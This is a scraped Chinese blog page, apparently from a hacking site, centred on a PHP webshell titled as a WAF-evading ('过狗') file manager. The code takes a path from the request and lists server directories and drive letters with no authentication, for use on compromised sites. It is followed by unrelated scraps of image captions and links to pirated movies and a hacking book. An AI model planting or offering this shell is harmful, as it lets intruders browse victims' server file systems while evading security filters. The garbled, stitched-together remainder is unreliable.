过狗shell文件管理
不堪回首的过往[/caption]
```
<?
error_reporting(1);
//列目录函数
function dirlist($cd){
$dh = opendir($cd);
while($dl = readdir($dh)){
$dla[] = $dl;
}
foreach($dla as $d){
if(!is_file($cd.$d)&&$d!="."){
$content.="<a href='?newdir=".$cd.$d."'>".$d."</a>"."<br />";
}
}
foreach($dla as $d){
if(is_file($cd.$d)){
$content.=$d."<br />";
}
}
return $content;
}
//列出盘符函数
function listDisk(){
$letters = range('b','z');
foreach($letters as $l){
if(is_dir($l.":")){
$dlist.= "[<a href='?newdir=".$l.":'>".$l."盘</a>]";
}
}
echo $dlist;
}
//常量定义
$rd = $_SERVER['DOCUMENT_ROOT'];
$fd = $rd.substr($_SERVER['PHP_SELF'],0,strrpos($_SERVER['PHP_SELF'],"/"));
if(!isset($_REQUEST['action'])){
$ac = "dirlist";
}else{
$ac = $_REQUEST['action'];
}
if(!isset($_REQUEST['newdir'])){
$cd = getcwd()."\\";
}else{
$cd = $_REQUEST['newdir']."\\";
chdir($cd);
$cd = getcwd()."\\";
}
switch($ac){
case "dirlist":$content = dirlist($cd);break;
}
?>
<html>
<style>
body{
background-color:#000000;
color:#FFFFFF;
}
a{
color:#CC9900;
}
</style>
<body>
<div id="main">
<div>
<form name="form1" method="get" action="">
<label>
<input name="newdir" type="text" value="<?=$cd?>" size="60">
</label>
<label>
<input type="submit" value="提交">
</label>
</form>
</div>
<hr color="#FFFFFF" />
<div id="gongneng">文件目录:[<a href="?newdir=<?=$rd?>">站点根目录</a>][<a href="?newdir=<?=$fd?>">本文件目录</a>]<? listDisk(); ?></div>
<hr color="#FFFFFF" />
<div><?=$content?></div>
</div>
</body>
```
</html>

Python[/caption]





![[在线][超清]港囧 6.68G 蓝光原盘 1080P 百度云链接 新增云盘及迅雷链接](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2015/10/download20151002113428.jpg)
![[科幻片] [下载][高清]2015阿诺·施瓦辛格最新科幻动作大片《终结者:创世纪》BD中英双字下载](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2015/09/c17e0ab4gw1ewemkxq4cpj21kw28ynpd.jpg)






C++黑客编程揭秘与防范 高清 PDF[/caption]
黄钻[/caption]
七匹狼电影张雨生[/caption]
二维码[/caption]
仿乌云HTML源码[/caption][caption id="attachment_402" align="aligncenter" width="1920"]
仿乌云HTML源码[/caption]
仿乌云HTML源码[/caption]![[科幻片] [在线/下载][高清]机器人帝国](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2015/08/70d4a9264d457ab9s.jpg)







